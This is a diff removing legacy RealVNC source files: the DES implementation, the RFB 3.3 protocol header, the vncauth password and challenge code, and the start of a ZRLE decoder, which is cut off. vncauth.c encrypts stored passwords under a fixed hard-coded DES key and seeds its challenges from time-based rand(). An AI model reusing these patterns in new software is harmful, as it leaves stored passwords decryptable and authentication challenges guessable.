0x00000800L, 0x04000802L, 0x00200802L, 0x04200800L,
0x04200802L, 0x00200000L, 0x00000000L, 0x04000002L,
0x00000002L, 0x04000000L, 0x04200002L, 0x00000802L,
0x04000800L, 0x00200802L, 0x00200002L, 0x04000800L,
0x04000002L, 0x04200000L, 0x04200800L, 0x00200002L,
0x04200000L, 0x00000800L, 0x00000802L, 0x04200802L,
0x00200800L, 0x00000002L, 0x04000000L, 0x00200800L,
0x04000000L, 0x00200800L, 0x00200000L, 0x04000802L,
0x04000802L, 0x04200002L, 0x04200002L, 0x00000002L,
0x00200002L, 0x04000000L, 0x04000800L, 0x00200000L,
0x04200800L, 0x00000802L, 0x00200802L, 0x04200800L,
0x00000802L, 0x04000002L, 0x04200802L, 0x04200000L,
0x00200800L, 0x00000000L, 0x00000002L, 0x04200802L,
0x00000000L, 0x00200802L, 0x04200000L, 0x00000800L,
0x04000002L, 0x04000800L, 0x00000800L, 0x00200002L };
static unsigned long SP8[64] = {
0x10001040L, 0x00001000L, 0x00040000L, 0x10041040L,
0x10000000L, 0x10001040L, 0x00000040L, 0x10000000L,
0x00040040L, 0x10040000L, 0x10041040L, 0x00041000L,
0x10041000L, 0x00041040L, 0x00001000L, 0x00000040L,
0x10040000L, 0x10000040L, 0x10001000L, 0x00001040L,
0x00041000L, 0x00040040L, 0x10040040L, 0x10041000L,
0x00001040L, 0x00000000L, 0x00000000L, 0x10040040L,
0x10000040L, 0x10001000L, 0x00041040L, 0x00040000L,
0x00041040L, 0x00040000L, 0x10041000L, 0x00001000L,
0x00000040L, 0x10040040L, 0x00001000L, 0x00041040L,
0x10001000L, 0x00000040L, 0x10000040L, 0x10040000L,
0x10040040L, 0x10000000L, 0x00040000L, 0x10001040L,
0x00000000L, 0x10041040L, 0x00040040L, 0x10000040L,
0x10040000L, 0x10001000L, 0x10001040L, 0x00000000L,
0x10041040L, 0x00041000L, 0x00041000L, 0x00001040L,
0x00001040L, 0x00040040L, 0x10000000L, 0x10041000L };
static void desfunc(block, keys)
register unsigned long *block, *keys;
{
register unsigned long fval, work, right, leftt;
register int round;
leftt = block[0];
right = block[1];
work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL;
right ^= work;
leftt ^= (work << 4);
work = ((leftt >> 16) ^ right) & 0x0000ffffL;
right ^= work;
leftt ^= (work << 16);
work = ((right >> 2) ^ leftt) & 0x33333333L;
leftt ^= work;
right ^= (work << 2);
work = ((right >> 8) ^ leftt) & 0x00ff00ffL;
leftt ^= work;
right ^= (work << 8);
right = ((right << 1) | ((right >> 31) & 1L)) & 0xffffffffL;
work = (leftt ^ right) & 0xaaaaaaaaL;
leftt ^= work;
right ^= work;
leftt = ((leftt << 1) | ((leftt >> 31) & 1L)) & 0xffffffffL;
for( round = 0; round < 8; round++ ) {
work = (right << 28) | (right >> 4);
work ^= *keys++;
fval = SP7[ work & 0x3fL];
fval |= SP5[(work >> 8) & 0x3fL];
fval |= SP3[(work >> 16) & 0x3fL];
fval |= SP1[(work >> 24) & 0x3fL];
work = right ^ *keys++;
fval |= SP8[ work & 0x3fL];
fval |= SP6[(work >> 8) & 0x3fL];
fval |= SP4[(work >> 16) & 0x3fL];
fval |= SP2[(work >> 24) & 0x3fL];
leftt ^= fval;
work = (leftt << 28) | (leftt >> 4);
work ^= *keys++;
fval = SP7[ work & 0x3fL];
fval |= SP5[(work >> 8) & 0x3fL];
fval |= SP3[(work >> 16) & 0x3fL];
fval |= SP1[(work >> 24) & 0x3fL];
work = leftt ^ *keys++;
fval |= SP8[ work & 0x3fL];
fval |= SP6[(work >> 8) & 0x3fL];
fval |= SP4[(work >> 16) & 0x3fL];
fval |= SP2[(work >> 24) & 0x3fL];
right ^= fval;
}
right = (right << 31) | (right >> 1);
work = (leftt ^ right) & 0xaaaaaaaaL;
leftt ^= work;
right ^= work;
leftt = (leftt << 31) | (leftt >> 1);
work = ((leftt >> 8) ^ right) & 0x00ff00ffL;
right ^= work;
leftt ^= (work << 8);
work = ((leftt >> 2) ^ right) & 0x33333333L;
right ^= work;
leftt ^= (work << 2);
work = ((right >> 16) ^ leftt) & 0x0000ffffL;
leftt ^= work;
right ^= (work << 16);
work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL;
leftt ^= work;
right ^= (work << 4);
*block++ = right;
*block = leftt;
return;
}
/* Validation sets:
*
* Single-length key, single-length plaintext -
* Key : 0123 4567 89ab cdef
* Plain : 0123 4567 89ab cde7
* Cipher : c957 4425 6a5e d31d
*
* Double-length key, single-length plaintext -
* Key : 0123 4567 89ab cdef fedc ba98 7654 3210
* Plain : 0123 4567 89ab cde7
* Cipher : 7f1d 0a77 826b 8aff
*
* Double-length key, double-length plaintext -
* Key : 0123 4567 89ab cdef fedc ba98 7654 3210
* Plain : 0123 4567 89ab cdef 0123 4567 89ab cdff
* Cipher : 27a0 8440 406a df60 278f 47cf 42d6 15d7
*
* Triple-length key, single-length plaintext -
* Key : 0123 4567 89ab cdef fedc ba98 7654 3210 89ab cdef 0123 4567
* Plain : 0123 4567 89ab cde7
* Cipher : de0b 7c06 ae5e 0ed5
*
* Triple-length key, double-length plaintext -
* Key : 0123 4567 89ab cdef fedc ba98 7654 3210 89ab cdef 0123 4567
* Plain : 0123 4567 89ab cdef 0123 4567 89ab cdff
* Cipher : ad0d 1b30 ac17 cf07 0ed1 1c63 81e4 4de5
*
* d3des V5.0a rwo 9208.07 18:44 Graven Imagery
**********************************************************************/

View File

@ -1,51 +0,0 @@
/*
* This is D3DES (V5.09) by Richard Outerbridge with the double and
* triple-length support removed for use in VNC.
*
* These changes are:
* Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*/
/* d3des.h -
*
* Headers and defines for d3des.c
* Graven Imagery, 1992.
*
* Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge
* (GEnie : OUTER; CIS : [71755,204])
*/
#define EN0 0 /* MODE == encrypt */
#define DE1 1 /* MODE == decrypt */
extern void deskey(unsigned char *, int);
/* hexkey[8] MODE
* Sets the internal key register according to the hexadecimal
* key contained in the 8 bytes of hexkey, according to the DES,
* for encryption or decryption according to MODE.
*/
extern void usekey(unsigned long *);
/* cookedkey[32]
* Loads the internal key register with the data in cookedkey.
*/
extern void cpkey(unsigned long *);
/* cookedkey[32]
* Copies the contents of the internal key register into the storage
* located at &cookedkey[0].
*/
extern void des(unsigned char *, unsigned char *);
/* from[8] to[8]
* Encrypts/Decrypts (according to the key currently loaded in the
* internal key register) one block of eight bytes at address 'from'
* into the block at address 'to'. They can be the same.
*/
/* d3des.h V5.09 rwo 9208.04 15:06 Graven Imagery
********************************************************************/

View File

@ -1,692 +0,0 @@
/*
* Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
* Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
*
* This is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this software; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
* USA.
*/
/*
* rfbproto.h - header file for the RFB protocol version 3.3
*
* Uses types CARD<n> for an n-bit unsigned integer, INT<n> for an n-bit signed
* integer (for n = 8, 16 and 32).
*
* All multiple byte integers are in big endian (network) order (most
* significant byte first). Unless noted otherwise there is no special
* alignment of protocol structures.
*
*
* Once the initial handshaking is done, all messages start with a type byte,
* (usually) followed by message-specific data. The order of definitions in
* this file is as follows:
*
* (1) Structures used in several types of message.
* (2) Structures used in the initial handshaking.
* (3) Message types.
* (4) Encoding types.
* (5) For each message type, the form of the data following the type byte.
* Sometimes this is defined by a single structure but the more complex
* messages have to be explained by comments.
*/
/*****************************************************************************
*
* Structures used in several messages
*
*****************************************************************************/
/*-----------------------------------------------------------------------------
* Structure used to specify a rectangle. This structure is a multiple of 4
* bytes so that it can be interspersed with 32-bit pixel data without
* affecting alignment.
*/
typedef struct {
CARD16 x;
CARD16 y;
CARD16 w;
CARD16 h;
} rfbRectangle;
#define sz_rfbRectangle 8
/*-----------------------------------------------------------------------------
* Structure used to specify pixel format.
*/
typedef struct {
CARD8 bitsPerPixel; /* 8,16,32 only */
CARD8 depth; /* 8 to 32 */
CARD8 bigEndian; /* True if multi-byte pixels are interpreted
as big endian, or if single-bit-per-pixel
has most significant bit of the byte
corresponding to first (leftmost) pixel. Of
course this is meaningless for 8 bits/pix */
CARD8 trueColour; /* If false then we need a "colour map" to
convert pixels to RGB. If true, xxxMax and
xxxShift specify bits used for red, green
and blue */
/* the following fields are only meaningful if trueColour is true */
CARD16 redMax; /* maximum red value (= 2^n - 1 where n is the
number of bits used for red). Note this
value is always in big endian order. */
CARD16 greenMax; /* similar for green */
CARD16 blueMax; /* and blue */
CARD8 redShift; /* number of shifts needed to get the red
value in a pixel to the least significant
bit. To find the red value from a given
pixel, do the following:
1) Swap pixel value according to bigEndian
(e.g. if bigEndian is false and host byte
order is big endian, then swap).
2) Shift right by redShift.
3) AND with redMax (in host byte order).
4) You now have the red value between 0 and
redMax. */
CARD8 greenShift; /* similar for green */
CARD8 blueShift; /* and blue */
CARD8 pad1;
CARD16 pad2;
} rfbPixelFormat;
#define sz_rfbPixelFormat 16
/*****************************************************************************
*
* Initial handshaking messages
*
*****************************************************************************/
/*-----------------------------------------------------------------------------
* Protocol Version
*
* The server always sends 12 bytes to start which identifies the latest RFB
* protocol version number which it supports. These bytes are interpreted
* as a string of 12 ASCII characters in the format "RFB xxx.yyy\n" where
* xxx and yyy are the major and minor version numbers (for version 3.3
* this is "RFB 003.003\n").
*
* The client then replies with a similar 12-byte message giving the version
* number of the protocol which should actually be used (which may be different
* to that quoted by the server).
*
* It is intended that both clients and servers may provide some level of
* backwards compatibility by this mechanism. Servers in particular should
* attempt to provide backwards compatibility, and even forwards compatibility
* to some extent. For example if a client demands version 3.1 of the
* protocol, a 3.0 server can probably assume that by ignoring requests for
* encoding types it doesn't understand, everything will still work OK. This
* will probably not be the case for changes in the major version number.
*
* The format string below can be used in sprintf or sscanf to generate or
* decode the version string respectively.
*/
#define rfbProtocolVersionFormat "RFB %03d.%03d\n"
#define rfbProtocolMajorVersion 3
#define rfbProtocolMinorVersion 3
typedef char rfbProtocolVersionMsg[13]; /* allow extra byte for null */
#define sz_rfbProtocolVersionMsg 12
/*-----------------------------------------------------------------------------
* Authentication
*
* Once the protocol version has been decided, the server then sends a 32-bit
* word indicating whether any authentication is needed on the connection.
* The value of this word determines the authentication scheme in use. For
* version 3.0 of the protocol this may have one of the following values:
*/
#define rfbConnFailed 0
#define rfbNoAuth 1
#define rfbVncAuth 2
/*
* rfbConnFailed: For some reason the connection failed (e.g. the server
* cannot support the desired protocol version). This is
* followed by a string describing the reason (where a
* string is specified as a 32-bit length followed by that
* many ASCII characters).
*
* rfbNoAuth: No authentication is needed.
*
* rfbVncAuth: The VNC authentication scheme is to be used. A 16-byte
* challenge follows, which the client encrypts as
* appropriate using the password and sends the resulting
* 16-byte response. If the response is correct, the
* server sends the 32-bit word rfbVncAuthOK. If a simple
* failure happens, the server sends rfbVncAuthFailed and
* closes the connection. If the server decides that too
* many failures have occurred, it sends rfbVncAuthTooMany
* and closes the connection. In the latter case, the
* server should not allow an immediate reconnection by
* the client.
*/
#define rfbVncAuthOK 0
#define rfbVncAuthFailed 1
#define rfbVncAuthTooMany 2
/*-----------------------------------------------------------------------------
* Client Initialisation Message
*
* Once the client and server are sure that they're happy to talk to one
* another, the client sends an initialisation message. At present this
* message only consists of a boolean indicating whether the server should try
* to share the desktop by leaving other clients connected, or give exclusive
* access to this client by disconnecting all other clients.
*/
typedef struct {
CARD8 shared;
} rfbClientInitMsg;
#define sz_rfbClientInitMsg 1
/*-----------------------------------------------------------------------------
* Server Initialisation Message
*
* After the client initialisation message, the server sends one of its own.
* This tells the client the width and height of the server's framebuffer,
* its pixel format and the name associated with the desktop.
*/
typedef struct {
CARD16 framebufferWidth;
CARD16 framebufferHeight;
rfbPixelFormat format; /* the server's preferred pixel format */
CARD32 nameLength;
/* followed by char name[nameLength] */
} rfbServerInitMsg;
#define sz_rfbServerInitMsg (8 + sz_rfbPixelFormat)
/*
* Following the server initialisation message it's up to the client to send
* whichever protocol messages it wants. Typically it will send a
* SetPixelFormat message and a SetEncodings message, followed by a
* FramebufferUpdateRequest. From then on the server will send
* FramebufferUpdate messages in response to the client's
* FramebufferUpdateRequest messages. The client should send
* FramebufferUpdateRequest messages with incremental set to true when it has
* finished processing one FramebufferUpdate and is ready to process another.
* With a fast client, the rate at which FramebufferUpdateRequests are sent
* should be regulated to avoid hogging the network.
*/
/*****************************************************************************
*
* Message types
*
*****************************************************************************/
/* server -> client */
#define rfbFramebufferUpdate 0
#define rfbSetColourMapEntries 1
#define rfbBell 2
#define rfbServerCutText 3
/* client -> server */
#define rfbSetPixelFormat 0
#define rfbFixColourMapEntries 1 /* not currently supported */
#define rfbSetEncodings 2
#define rfbFramebufferUpdateRequest 3
#define rfbKeyEvent 4
#define rfbPointerEvent 5
#define rfbClientCutText 6
/*****************************************************************************
*
* Encoding types
*
*****************************************************************************/
#define rfbEncodingRaw 0
#define rfbEncodingCopyRect 1
#define rfbEncodingRRE 2
#define rfbEncodingCoRRE 4
#define rfbEncodingHextile 5
#define rfbEncodingZRLE 16
/*****************************************************************************
*
* Server -> client message definitions
*
*****************************************************************************/
/*-----------------------------------------------------------------------------
* FramebufferUpdate - a block of rectangles to be copied to the framebuffer.
*
* This message consists of a header giving the number of rectangles of pixel
* data followed by the rectangles themselves. The header is padded so that
* together with the type byte it is an exact multiple of 4 bytes (to help
* with alignment of 32-bit pixels):
*/
typedef struct {
CARD8 type; /* always rfbFramebufferUpdate */
CARD8 pad;
CARD16 nRects;
/* followed by nRects rectangles */
} rfbFramebufferUpdateMsg;
#define sz_rfbFramebufferUpdateMsg 4
/*
* Each rectangle of pixel data consists of a header describing the position
* and size of the rectangle and a type word describing the encoding of the
* pixel data, followed finally by the pixel data. Note that if the client has
* not sent a SetEncodings message then it will only receive raw pixel data.
* Also note again that this structure is a multiple of 4 bytes.
*/
typedef struct {
rfbRectangle r;
CARD32 encoding; /* one of the encoding types rfbEncoding... */
} rfbFramebufferUpdateRectHeader;
#define sz_rfbFramebufferUpdateRectHeader (sz_rfbRectangle + 4)
/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
* Raw Encoding. Pixels are sent in top-to-bottom scanline order,
* left-to-right within a scanline with no padding in between.
*/
/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
* CopyRect Encoding. The pixels are specified simply by the x and y position
* of the source rectangle.
*/
typedef struct {
CARD16 srcX;
CARD16 srcY;
} rfbCopyRect;
#define sz_rfbCopyRect 4
/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
* RRE - Rise-and-Run-length Encoding. We have an rfbRREHeader structure
* giving the number of subrectangles following. Finally the data follows in
* the form [<bgpixel><subrect><subrect>...] where each <subrect> is
* [<pixel><rfbRectangle>].
*/
typedef struct {
CARD32 nSubrects;
} rfbRREHeader;
#define sz_rfbRREHeader 4
/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
* CoRRE - Compact RRE Encoding. We have an rfbRREHeader structure giving
* the number of subrectangles following. Finally the data follows in the form
* [<bgpixel><subrect><subrect>...] where each <subrect> is
* [<pixel><rfbCoRRERectangle>]. This means that
* the whole rectangle must be at most 255x255 pixels.
*/
typedef struct {
CARD8 x;
CARD8 y;
CARD8 w;
CARD8 h;
} rfbCoRRERectangle;
#define sz_rfbCoRRERectangle 4
/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
* Hextile Encoding. The rectangle is divided up into "tiles" of 16x16 pixels,
* starting at the top left going in left-to-right, top-to-bottom order. If
* the width of the rectangle is not an exact multiple of 16 then the width of
* the last tile in each row will be correspondingly smaller. Similarly if the
* height is not an exact multiple of 16 then the height of each tile in the
* final row will also be smaller. Each tile begins with a "subencoding" type
* byte, which is a mask made up of a number of bits. If the Raw bit is set
* then the other bits are irrelevant; w*h pixel values follow (where w and h
* are the width and height of the tile). Otherwise the tile is encoded in a
* similar way to RRE, except that the position and size of each subrectangle
* can be specified in just two bytes. The other bits in the mask are as
* follows:
*
* BackgroundSpecified - if set, a pixel value follows which specifies
* the background colour for this tile. The first non-raw tile in a
* rectangle must have this bit set. If this bit isn't set then the
* background is the same as the last tile.
*
* ForegroundSpecified - if set, a pixel value follows which specifies
* the foreground colour to be used for all subrectangles in this tile.
* If this bit is set then the SubrectsColoured bit must be zero.
*
* AnySubrects - if set, a single byte follows giving the number of
* subrectangles following. If not set, there are no subrectangles (i.e.
* the whole tile is just solid background colour).
*
* SubrectsColoured - if set then each subrectangle is preceded by a pixel
* value giving the colour of that subrectangle. If not set, all
* subrectangles are the same colour, the foreground colour; if the
* ForegroundSpecified bit wasn't set then the foreground is the same as
* the last tile.
*
* The position and size of each subrectangle is specified in two bytes. The
* Pack macros below can be used to generate the two bytes from x, y, w, h,
* and the Extract macros can be used to extract the x, y, w, h values from
* the two bytes.
*/
#define rfbHextileRaw (1 << 0)
#define rfbHextileBackgroundSpecified (1 << 1)
#define rfbHextileForegroundSpecified (1 << 2)
#define rfbHextileAnySubrects (1 << 3)
#define rfbHextileSubrectsColoured (1 << 4)
#define rfbHextilePackXY(x,y) (((x) << 4) | (y))
#define rfbHextilePackWH(w,h) ((((w)-1) << 4) | ((h)-1))
#define rfbHextileExtractX(byte) ((byte) >> 4)
#define rfbHextileExtractY(byte) ((byte) & 0xf)
#define rfbHextileExtractW(byte) (((byte) >> 4) + 1)
#define rfbHextileExtractH(byte) (((byte) & 0xf) + 1)
/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
* ZRLE - encoding combining Zlib compression, tiling, palettisation and
* run-length encoding.
*/
typedef struct {
CARD32 length;
} rfbZRLEHeader;
#define sz_rfbZRLEHeader 4
#define rfbZRLETileWidth 64
#define rfbZRLETileHeight 64
/*-----------------------------------------------------------------------------
* SetColourMapEntries - these messages are only sent if the pixel
* format uses a "colour map" (i.e. trueColour false) and the client has not
* fixed the entire colour map using FixColourMapEntries. In addition they
* will only start being sent after the client has sent its first
* FramebufferUpdateRequest. So if the client always tells the server to use
* trueColour then it never needs to process this type of message.
*/
typedef struct {
CARD8 type; /* always rfbSetColourMapEntries */
CARD8 pad;
CARD16 firstColour;
CARD16 nColours;
/* Followed by nColours * 3 * CARD16
r1, g1, b1, r2, g2, b2, r3, g3, b3, ..., rn, bn, gn */
} rfbSetColourMapEntriesMsg;
#define sz_rfbSetColourMapEntriesMsg 6
/*-----------------------------------------------------------------------------
* Bell - ring a bell on the client if it has one.
*/
typedef struct {
CARD8 type; /* always rfbBell */
} rfbBellMsg;
#define sz_rfbBellMsg 1
/*-----------------------------------------------------------------------------
* ServerCutText - the server has new text in its cut buffer.
*/
typedef struct {
CARD8 type; /* always rfbServerCutText */
CARD8 pad1;
CARD16 pad2;
CARD32 length;
/* followed by char text[length] */
} rfbServerCutTextMsg;
#define sz_rfbServerCutTextMsg 8
/*-----------------------------------------------------------------------------
* Union of all server->client messages.
*/
typedef union {
CARD8 type;
rfbFramebufferUpdateMsg fu;
rfbSetColourMapEntriesMsg scme;
rfbBellMsg b;
rfbServerCutTextMsg sct;
} rfbServerToClientMsg;
/*****************************************************************************
*
* Message definitions (client -> server)
*
*****************************************************************************/
/*-----------------------------------------------------------------------------
* SetPixelFormat - tell the RFB server the format in which the client wants
* pixels sent.
*/
typedef struct {
CARD8 type; /* always rfbSetPixelFormat */
CARD8 pad1;
CARD16 pad2;
rfbPixelFormat format;
} rfbSetPixelFormatMsg;
#define sz_rfbSetPixelFormatMsg (sz_rfbPixelFormat + 4)
/*-----------------------------------------------------------------------------
* FixColourMapEntries - when the pixel format uses a "colour map", fix
* read-only colour map entries.
*
* ***************** NOT CURRENTLY SUPPORTED *****************
*/
typedef struct {
CARD8 type; /* always rfbFixColourMapEntries */
CARD8 pad;
CARD16 firstColour;
CARD16 nColours;
/* Followed by nColours * 3 * CARD16
r1, g1, b1, r2, g2, b2, r3, g3, b3, ..., rn, bn, gn */
} rfbFixColourMapEntriesMsg;
#define sz_rfbFixColourMapEntriesMsg 6
/*-----------------------------------------------------------------------------
* SetEncodings - tell the RFB server which encoding types we accept. Put them
* in order of preference, if we have any. We may always receive raw
* encoding, even if we don't specify it here.
*/
typedef struct {
CARD8 type; /* always rfbSetEncodings */
CARD8 pad;
CARD16 nEncodings;
/* followed by nEncodings * CARD32 encoding types */
} rfbSetEncodingsMsg;
#define sz_rfbSetEncodingsMsg 4
/*-----------------------------------------------------------------------------
* FramebufferUpdateRequest - request for a framebuffer update. If incremental
* is true then the client just wants the changes since the last update. If
* false then it wants the whole of the specified rectangle.
*/
typedef struct {
CARD8 type; /* always rfbFramebufferUpdateRequest */
CARD8 incremental;
CARD16 x;
CARD16 y;
CARD16 w;
CARD16 h;
} rfbFramebufferUpdateRequestMsg;
#define sz_rfbFramebufferUpdateRequestMsg 10
/*-----------------------------------------------------------------------------
* KeyEvent - key press or release
*
* Keys are specified using the "keysym" values defined by the X Window System.
* For most ordinary keys, the keysym is the same as the corresponding ASCII
* value. Other common keys are:
*
* BackSpace 0xff08
* Tab 0xff09
* Return or Enter 0xff0d
* Escape 0xff1b
* Insert 0xff63
* Delete 0xffff
* Home 0xff50
* End 0xff57
* Page Up 0xff55
* Page Down 0xff56
* Left 0xff51
* Up 0xff52
* Right 0xff53
* Down 0xff54
* F1 0xffbe
* F2 0xffbf
* ... ...
* F12 0xffc9
* Shift 0xffe1
* Control 0xffe3
* Meta 0xffe7
* Alt 0xffe9
*/
typedef struct {
CARD8 type; /* always rfbKeyEvent */
CARD8 down; /* true if down (press), false if up */
CARD16 pad;
CARD32 key; /* key is specified as an X keysym */
} rfbKeyEventMsg;
#define sz_rfbKeyEventMsg 8
/*-----------------------------------------------------------------------------
* PointerEvent - mouse/pen move and/or button press.
*/
typedef struct {
CARD8 type; /* always rfbPointerEvent */
CARD8 buttonMask; /* bits 0-7 are buttons 1-8, 0=up, 1=down */
CARD16 x;
CARD16 y;
} rfbPointerEventMsg;
#define rfbButton1Mask 1
#define rfbButton2Mask 2
#define rfbButton3Mask 4
#define rfbButton4Mask 8
#define rfbButton5Mask 16
#define rfbWheelUpMask rfbButton4Mask
#define rfbWheelDownMask rfbButton5Mask
#define sz_rfbPointerEventMsg 6
/*-----------------------------------------------------------------------------
* ClientCutText - the client has new text in its cut buffer.
*/
typedef struct {
CARD8 type; /* always rfbClientCutText */
CARD8 pad1;
CARD16 pad2;
CARD32 length;
/* followed by char text[length] */
} rfbClientCutTextMsg;
#define sz_rfbClientCutTextMsg 8
/*-----------------------------------------------------------------------------
* Union of all client->server messages.
*/
typedef union {
CARD8 type;
rfbSetPixelFormatMsg spf;
rfbFixColourMapEntriesMsg fcme;
rfbSetEncodingsMsg se;
rfbFramebufferUpdateRequestMsg fur;
rfbKeyEventMsg ke;
rfbPointerEventMsg pe;
rfbClientCutTextMsg cct;
} rfbClientToServerMsg;

View File

@ -1,164 +0,0 @@
/*
* Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
* Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
*
* This is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
* USA.
*/
/*
* vncauth.c - Functions for VNC password management and authentication.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <time.h>
#include <unistd.h>
#include <rfb/vncauth.h>
#include "d3des.h"
/*
* We use a fixed key to store passwords, since we assume that our local
* file system is secure but nonetheless don't want to store passwords
* as plaintext.
*/
unsigned char fixedkey[8] = {23,82,107,6,35,78,88,7};
/*
* Encrypt a password and store it in a file. Returns 0 if successful,
* 1 if the file could not be written.
*/
int
vncEncryptAndStorePasswd(char *passwd, char *fname)
{
FILE *fp;
int i;
unsigned char encryptedPasswd[8];
if ((fp = fopen(fname,"w")) == NULL) return 1;
chmod(fname, S_IRUSR|S_IWUSR);
/* pad password with nulls */
for (i = 0; i < 8; i++) {
if (i < strlen(passwd)) {
encryptedPasswd[i] = passwd[i];
} else {
encryptedPasswd[i] = 0;
}
}
/* Do encryption in-place - this way we overwrite our copy of the plaintext
password */
deskey(fixedkey, EN0);
des(encryptedPasswd, encryptedPasswd);
for (i = 0; i < 8; i++) {
putc(encryptedPasswd[i], fp);
}
fclose(fp);
return 0;
}
/*
* Decrypt a password from a file. Returns a pointer to a newly allocated
* string containing the password or a null pointer if the password could
* not be retrieved for some reason.
*/
char *
vncDecryptPasswdFromFile(char *fname)
{
FILE *fp;
int i, ch;
unsigned char *passwd = (unsigned char *)malloc(9);
if ((fp = fopen(fname,"r")) == NULL) return NULL;
for (i = 0; i < 8; i++) {
ch = getc(fp);
if (ch == EOF) {
fclose(fp);
return NULL;
}
passwd[i] = ch;
}
fclose(fp);
deskey(fixedkey, DE1);
des(passwd, passwd);
passwd[8] = 0;
return (char *)passwd;
}
/*
* Generate CHALLENGESIZE random bytes for use in challenge-response
* authentication.
*/
void
vncRandomBytes(unsigned char *bytes)
{
int i;
unsigned int seed = (unsigned int) time(0) + getpid() + rand();
srand(seed);
for (i = 0; i < CHALLENGESIZE; i++) {
bytes[i] = (unsigned char)(rand() & 255);
}
}
/*
* Encrypt CHALLENGESIZE bytes in memory using a password.
*/
void
vncEncryptBytes(unsigned char *bytes, char *passwd)
{
unsigned char key[8];
unsigned int i;
/* key is simply password padded with nulls */
for (i = 0; i < 8; i++) {
if (i < strlen(passwd)) {
key[i] = passwd[i];
} else {
key[i] = 0;
}
}
deskey(key, EN0);
for (i = 0; i < CHALLENGESIZE; i += 8) {
des(bytes+i, bytes+i);
}
}

View File

@ -1,30 +0,0 @@
/*
* Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
*
* This is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this software; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
* USA.
*/
/*
* vncauth.h - describes the functions provided by the vncauth library.
*/
#define MAXPWLEN 8
#define CHALLENGESIZE 16
extern int vncEncryptAndStorePasswd(char *passwd, char *fname);
extern char *vncDecryptPasswdFromFile(char *fname);
extern void vncRandomBytes(unsigned char *bytes);
extern void vncEncryptBytes(unsigned char *bytes, char *passwd);

View File

@ -1,241 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// zrleDecode.h - zrle decoding function.
//
// Before including this file, you must define a number of CPP macros.
//
// BPP should be 8, 16 or 32 depending on the bits per pixel.
// FILL_RECT
// IMAGE_RECT
#include <rdr/ZlibInStream.h>
#include <rdr/InStream.h>
#include <assert.h>
using namespace rdr;
/* __RFB_CONCAT2 concatenates its two arguments. __RFB_CONCAT2E does the same
but also expands its arguments if they are macros */
#ifndef __RFB_CONCAT2E
#define __RFB_CONCAT2(a,b) a##b
#define __RFB_CONCAT2E(a,b) __RFB_CONCAT2(a,b)
#endif
#ifdef CPIXEL
#define PIXEL_T __RFB_CONCAT2E(rdr::U,BPP)
#define READ_PIXEL __RFB_CONCAT2E(readOpaque,CPIXEL)
#define ZRLE_DECODE_BPP __RFB_CONCAT2E(zrleDecode,CPIXEL)
#else
#define PIXEL_T __RFB_CONCAT2E(rdr::U,BPP)
#define READ_PIXEL __RFB_CONCAT2E(readOpaque,BPP)
#define ZRLE_DECODE_BPP __RFB_CONCAT2E(zrleDecode,BPP)
#endif
void ZRLE_DECODE_BPP (int x, int y, int w, int h, rdr::InStream* is,
rdr::ZlibInStream* zis, PIXEL_T* buf)
{
int length = is->readU32();
zis->setUnderlying(is, length);
for (int ty = y; ty < y+h; ty += rfbZRLETileHeight) {
int th = rfbZRLETileHeight;
if (th > y+h-ty) th = y+h-ty;
for (int tx = x; tx < x+w; tx += rfbZRLETileWidth) {
int tw = rfbZRLETileWidth;
if (tw > x+w-tx) tw = x+w-tx;
